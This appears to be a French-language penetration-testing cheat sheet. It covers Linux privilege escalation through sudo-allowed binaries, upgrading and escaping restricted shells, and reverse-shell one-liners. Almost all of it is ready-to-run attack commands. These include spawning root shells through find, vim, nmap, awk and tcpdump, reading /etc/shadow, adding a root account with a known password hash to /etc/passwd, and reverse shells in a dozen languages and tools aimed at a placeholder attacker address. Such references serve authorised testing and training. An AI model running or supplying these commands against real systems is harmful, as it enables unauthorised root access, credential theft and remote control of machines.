Shells

Ici nous allons lister des commandes permettants une élévation de privilège en une ligne, très utiles quand l’utilisateur a la possibilité d’exécuter des commande en mode superadmin (cf. Énumération.c) :

  1. One Line Privilege Escalation : ⚠️https://www.asafety.fr/vuln-exploit-poc/windows-7-8-escalade-de-privilege-sans-livecd/

Using Find Command

  • sudo find /etc/passwd -exec /bin/sh \;
  • sudo find /bin -name nano -exec /bin/sh \;

Using Vim Command

  • sudo vim -c ‘!bash’ 

Using Nmap Command

  • sudo nmap –interactive
  • nmap> !sh
  • sh-4.1#

Latest Way without –interactive

  • echo « os.execute(‘/bin/sh’) » > /tmp/shell.nse && sudo nmap –script=/tmp/shell.nse

Using Man Command

  • sudo man man

after that press !sh and hit enter

Using Less/More Command

  • sudo less /etc/hosts
  • sudo less !ls (execute la commande ls)
  • sudo more /etc/hosts

after that press !sh and hit enter

Using awk Command

  • sudo awk ‘BEGIN {system(« /bin/sh »)}’

Using nano Command

Add this line in /etc/passwd to order to add the user as root privilege.

  • touhid:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash
  • sudo nano  /etc/passwd

now switch user password is : test

  • su touhid

Using apache Command

but using this u can view system files.

  • sudo apache2 -f /etc/shadow

Using apt cmd :

Using tcpdump :

  • echo $’id\ncat /etc/shadow’ > /tmp/.test
  • chmod +x /tmp/.test
  • sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
  1. Get a better shell

Souvent quand vous arriverez à établir une connexion et avoir la main sur un shell, vous serez restrains par le shell lui même, voilà quelques commandes qui vous permettront dans certains cas d’avoir un meilleur shell et donc d’avoir plus de possibilitées : 

Astuce :  Il faut impérativement que l’utilisateur puisse exécuter /bin/bash ou du python. 

  • echo && ‘bash’
  • python -c ‘import pty;pty.spawn(« /bin/bash »)’
  • python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((« <ip> »,<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([« /bin/sh », »-i »]);’

Astuce2 :  Avec la dernière commande il est possible d’ouvrir un listener Netcat pour récupérer le shell : nc -lnvp <port> êt attention a ne pas oublier le sudo lors de l excution

  1. Evading restricted shell

Dans cette partie nous allons essayer de bypass un shell restreint. A ne pas confondre avec la partie juste avant qui n’est juste qu’un shell avec “une mauvaise mise en forme”. Dans cette rubrique nous allons voir l’évasion d’un shell qui restreint vos commandes : 

  1. Utiliser VIM : Vous pouvez utiliser l’éditeur de texte vim pour bypass un shell restreint. :
  • Taper vi
  • Descendre tout en bas 
  • Taper « :!/bin/bash »

Astuce :  Dans le cas ou cela ne fonctionnerait pas, quitter VIM en tapant  “ESC” puis “:q” ou “:q!” pour quitter sans sauvegarder.

2) Vérifier le PATH et l’utiliser : 

  • echo $PATH 
  • export PATH=/bin:/usr/bin:$PATH
  • echo $PATH 
  1. Reverse Shell One Liner

Voici une liste de commandes à executer pour avoir un reverse shell en une ligne et dans de multiple language : https://www.asafety.fr/reverse-shell-one-liner-cheat-sheet/

Bash

Certaines versions de Bash permettent de transmettre un reverse-shell via « /dev/tcp/ » ou « /dev/udp/ » (version compilée avec le drapeau « –enable-net-redirections »).

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5; done

exec /bin/sh 0</dev/tcp/<IP>/<PORT> 1>&0 2>&0

0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196

TCLsh

Souvent cité comme alternative à l’utilisation de « /dev/tcp/ » et « /dev/udp/ » lorsque ceux-ci ne sont pas disponibles, TCL est un langage permettant l’utilisation des sockets et l’exécution de commande. En d’autres termes, adéquat pour établir un reverse-shell. Script TCL d’établissement d’un reverse-shell :

Version one-line :

echo ‘set s [socket <IP> <PORT>];while 42 { puts -nonewline $s « shell> »;flush $s;gets $s c;set e « exec $c »;if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;’ | tclsh

MySQL

sudo mysql -e ‘\! /bin/sh’

Perl

Version dépendante de « /bin/sh » :

perl -e ‘use Socket;$i= »<IP> »;$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname(« tcp »));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN, »>&S »);open(STDOUT, »>&S »);open(STDERR, »>&S »);exec(« /bin/sh -i »);};’

Version indépendante de « /bin/sh » pour Linux (avec fork) :

perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr, »<IP>:<PORT> »);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’

Si le système cible est un Windows (sans fork) :

perl -MIO -e « $c=new IO::Socket::INET(PeerAddr,'<IP>:<PORT>’);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>; »

Une version complète sous forme de script est également disponible ici.

Python

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((« <IP> »,<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([« /bin/sh », »-i »]);’

PHP

Pour chaque langage, différentes fonctions d’exécution de commandes locales sont exploitables. Dans le cadre du langage PHP, voici quelques exemples avec différentes fonctions :

php -r ‘$s=fsockopen(« <IP> »,<PORT>);exec(« /bin/sh -i <&3 >&3 2>&3 »);’

php -r ‘$s=fsockopen(« <IP> »,<PORT>);shell_exec(« /bin/sh -i <&3 >&3 2>&3 »);’

php -r ‘$s=fsockopen(« <IP> »,<PORT>);`/bin/sh -i <&3 >&3 2>&3`;’

php -r ‘$s=fsockopen(« <IP> »,<PORT>);system(« /bin/sh -i <&3 >&3 2>&3 »);’

php -r ‘$s=fsockopen(« <IP> »,<PORT>);popen(« /bin/sh -i <&3 >&3 2>&3 », « r »);’

Une version complète sous forme de script est également disponible ici.

Ruby

One-line dépendante de « /bin/sh » :

ruby -rsocket -e’f=TCPSocket.open(« <IP> »,<PORT>).to_i;exec sprintf(« /bin/sh -i <&%d >&%d 2>&%d »,f,f,f)’

Version indépendante de « /bin/sh » pour Linux (avec fork) :

ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(« <IP> », »<PORT> »);while(cmd=c.gets);IO.popen(cmd, »r »){|io|c.print io.read}end’

Version pour Windows (sans fork) :

ruby -rsocket -e « c=TCPSocket.new(‘<IP>’,'<PORT>’);while(cmd=c.gets);IO.popen(cmd,’r’){|io|c.print io.read}end »

Netcat

Version traditionnelle de netcat (paquet netcat-traditional)  avec arguments « -c » ou « -e » disponibles (GAPING_SECURITY_HOLE activé) :

nc <IP> <PORT> -e /bin/bash

/bin/nc.traditional <IP> <PORT> -e /bin/bash

/bin/nc.traditional <IP> <PORT> -c /bin/bash

Pour toutes les autres version de netcat (notamment netcat-openbsd) qui ont été compilées avec le « GAPING_SECURITY_HOLE » de désactivé :

  • Via « mkfifo » :

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|nc <IP> <PORT> > f

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|/bin/nc.openbsd <IP> <PORT> > f

  • Via « mknod » :

rm -f x; mknod x p && nc <IP> <PORT> 0<x | /bin/bash 1>x

rm -f x; mknod x p && /bin/nc.openbsd <IP> <PORT> 0<x | /bin/bash 1>x

Cryptcat est l’alternative chiffrée de netcat.

Telnet

Le double telnet, qui effectue une double connexion à la machine de l’auditeur sur deux ports différents. Le pentesteur doit donc placer deux netcat en écoute sur deux ports (1337 et 1338). Le premier netcat permettra d’entrer les commande et le second de recevoir les résultats.

telnet <IP> <PORT1> | /bin/bash | telnet <IP> <PORT2>

  • Via « mkfifo » :

rm f;mkfifo f;cat f|/bin/sh -i 2>&1|telnet <IP> <PORT> > f

  • Via « mknod » :

rm -f x; mknod x p && telnet <IP> <PORT> 0<x | /bin/bash 1>x

Socat

Dans la ligné des outils pour contrôler les flux réseaux, Socat est une des références. Rarement présent par défaut dans les distributions Linux (uniquement), il est possible de récupérer un reverse-shell par son intermédiaire :

socat tcp-connect:<IP>:<PORT> exec: »bash -li »,pty,stderr,setsid,sigint,sane

Socat permet des connexions bidirectionnelles pour établir des reverse-shell totalement interactifs (avec dead-keys, touches de contrôle…), et supporte nativement le chiffrement SSL, l’IPv6…

Java

r = Runtime.getRuntime()

p = r.exec([« /bin/bash », »-c », »exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done »] as String[])

p.waitFor()

xterm

Une autre méthode permettant d’obtenir un reverse-shell est l’utilisation du transfert d’un terminal xterm. Pour réaliser cela, un X-Server doit être présent sur la machine de l’auditeur. Le paquet « xnest » permet cela aisément sur les systèmes Linux. Il faut de plus autoriser les connexions en provenance de la machine cible.

Sur la machine du pentesteur (mise en écoute sur le port 6001) :

Xnest :1

xhost +<IPTARGET>

Sur la machine cible :

xterm -display <IP>:1

Si le système est un Solaris, « xterm » ne fait pas partie par défaut de l’environnement. Son chemin d’accès complet doit être renseigné :

/usr/openwin/bin/xterm -display <IP>:1

(G)awk

Reverse-shell via Gawk, basé sur un script de shell simple en provenance du Phrack 62 :

Pour une exécution « one-line » en utilisant « awk » développée par ASafety (ou sa variante GNU Gawk) :

awk ‘BEGIN {s = « /inet/tcp/0/<IP>/<PORT> »; while(42) { do{ printf « shell> » |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != « exit ») close(s); }}’ /dev/null

Nginx

  • sudo service nginx start
  • netstat -antp 

Aller voir les fichier conf de nginx et voir quel logiciel on peut utiliser.

Dans mon cas c’était Lynx, je télécharge Lynx sur ma machine attaquant et on tape :

  • lynx <Ip_Victime>:<PORT>